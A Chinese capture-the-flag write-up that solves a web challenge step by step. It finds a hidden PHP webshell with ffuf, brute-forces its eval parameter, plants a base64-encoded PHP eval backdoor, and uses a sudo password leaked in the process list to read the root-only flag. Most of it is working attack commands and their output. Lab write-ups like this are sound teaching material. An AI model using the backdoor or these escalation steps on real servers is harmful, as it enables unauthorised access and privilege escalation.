

Forbidden

You don't have permission to access this resource.

Apache/2.4.65 (Debian) Server at challenge.shc.tf Port 31597

提示：有shell了交个flag先

一进来就是403，看提示可以猜测是有webshell文件的，这就需要扫目录了，我用的是seclists字典，路径

```
seclists/Discovery/Web-Content/Programming-Language-Specific/CommonBackdoors-PHP.fuzz.txt
```

命令

```
ffuf -u "http://challenge.shc.tf:31597/FUZZ" -w seclists/Discovery/Web-Content/Programming-Language-Specific/CommonBackdoors-PHP.fuzz.txt
```

```
webshell.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 93ms]
```

打开是看不到什么东西的，那多半需要密码，路径

```
seclists/Discovery/Web-Content/raft-medium-words.txt
```

将命令试出来

```
ffuf -u "http://challenge.shc.tf:31597/webshell.php?FUZZ=ls" -w raft-medium-words.txt -fs 0
```

```
cmd [Status: 200, Size: 144, Words: 19, Lines: 3, Duration: 127ms]
```

访问时发现这是一个语法错误，命令是给eval执行的

Parse error: syntax error, unexpected end of file in /var/www/html/webshell.php(1) : eval()'d code on line 1



查看根目录可以看到flag文件

bin boot dev docker-entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp u



但是却不能打开，这个要提权，写一个木马进去

```
http://challenge.shc.tf:32090/webshell.php
?cmd=system('echo PD9waHAgQGV2YWwoJF9QT1NUWydkbWQnXSk7Pz4= | base64 -d >
shell.php');
```

用蚁剑连接上进入虚拟终端，发现根目录flag没有权限

```
(ctf:/var/www/html) $ cat /flag
cat: /flag: Permission denied
(ctf:/var/www/html) $
```

找一下有SUID的文件，可以看到有一个sudo

```
(ctf:/) $ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount
/usr/bin/sudo
```

但是要tty运行，我们这只是一个虚拟终端，系统并不认可

```
(ctf:/) $ sudo -s
sudo: sorry, you must have a tty to run sudo
```

查看一下根目录，可以看到这些文件

```
bin
boot
dev
docker-entrypoint.sh
etc
flag
home
lib
lib64
```

```
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

有一个docker-entrypoint.sh

```
#!/bin/bash
set -e
echo 0 > /proc/sys/kernel/yama/ptrace_scope || true
if [ "$A1CTF_FLAG" ]; then
    INSERT_FLAG="$A1CTF_FLAG"
    unset A1CTF_FLAG
elif [ "$SHCTF_FLAG" ]; then
    INSERT_FLAG="$SHCTF_FLAG"
    unset SHCTF_FLAG
elif [ "$GZCTF_FLAG" ]; then
    INSERT_FLAG="$GZCTF_FLAG"
    unset GZCTF_FLAG
elif [ "$FLAG" ]; then
    INSERT_FLAG="$FLAG"
    unset FLAG
else
    INSERT_FLAG="SHCTF{!!!!_FLAG_ERROR_ASK_ADMIN!!!!}"
fi
rm -f /flag
echo "$INSERT_FLAG" > /flag
chmod 400 /flag
chown root:root /flag
NEWPASS=$(head -c 24 /dev/urandom | tr -cd 'A-Za-z0-9' | head -c 16)
echo "ctf:${NEWPASS}" | chpasswd
su - ctf -c "nohup script -q -f -c 'bash -li -c \"echo ${NEWPASS} | sudo -S -v
>/dev/null 2>&1; sleep infinity\"' /dev/null >/dev/null 2>&1 &"
exec apache2-foreground
```

可以看到这样一段命令，这段命令的意思是切换到ctf用户并运行指定命令，nohup可以让命令不受字段影响的在后台运行

```
su - ctf -c "nohup script -q -f -c 'bash -li -c \"echo ${NEWPASS} | sudo -S -v
>/dev/null 2>&1; sleep infinity\"' /dev/null >/dev/null 2>&1 &"
```

script: 直接创建了一个伪终端，脱离了tty的依赖
最关键的是这段echo **\${NEWPASS}** | **sudo -S**，直接登录了root

密码在进程可以看到

```
(ctf:/) $ ps -ef
UID      PID    PPID  C  STIME TTY          TIME CMD
root         1        0  0  04:50 ?        00:00:00 apache2 -DFOREGROUND
ctf        25         1  0  04:50 ?        00:00:00 script -q -f -c bash -li -c "echo 55CX8 | sudo -S -v >/dev/null 2>&1; sleep infinity" /dev/null
ctf        26        25  0  04:50 pts/0    00:00:00 sleep infinity
ctf        45         1  0  04:50 ?        00:00:00 apache2 -DFOREGROUND
ctf        46         1  0  04:50 ?        00:00:00 apache2 -DFOREGROUND
ctf        47         1  0  04:50 ?        00:00:00 apache2 -DFOREGROUND
ctf        48         1  0  04:50 ?        00:00:00 apache2 -DFOREGROUND
ctf        49         1  0  04:50 ?        00:00:00 apache2 -DFOREGROUND
ctf        50         1  0  04:51 ?        00:00:00 apache2 -DFOREGROUND
ctf       140        47  0  07:28 ?        00:00:00 sh -c -- /bin/sh -c "cd "/;ps -ef;echo a9c38;pwd;echo b06bd3a37ab" 2>&1
ctf       141       140  0  07:28 ?        00:00:00 /bin/sh -c cd /;ps -ef;echo a9c38;pwd;echo b06bd3a37ab
ctf       142       141  0  07:28 ?        00:00:00 ps -ef
```

这样则有了命令

```
script -q -c 'echo 55CX8 | sudo -S cat /flag' /dev/null
```

```
(ctf:/) $ script -q -c 'echo 55CX8 | sudo -S cat /flag' /dev/null
[sudo] password for ctf: SHCTF{$UD#_TokEN_lNjEcTion_pwNed_Z0Z5}
```